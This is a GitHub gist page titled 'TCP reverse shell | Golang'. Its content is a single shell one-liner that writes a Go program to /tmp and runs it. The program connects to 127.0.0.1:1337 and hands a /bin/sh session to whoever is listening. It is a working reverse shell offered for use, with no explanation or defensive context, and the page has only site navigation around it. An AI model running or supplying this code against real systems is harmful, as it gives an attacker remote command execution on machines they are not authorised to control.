Skip to content

Instantly share code, notes, and snippets.

@furusiyya
Forked from takeshixx/shell.go
Last active September 9, 2020 00:04
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save furusiyya/7fe631a20f275c0d1bdec050eed1aa8f to your computer and use it in GitHub Desktop.
Save furusiyya/7fe631a20f275c0d1bdec050eed1aa8f to your computer and use it in GitHub Desktop.
TCP reverse shell | Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment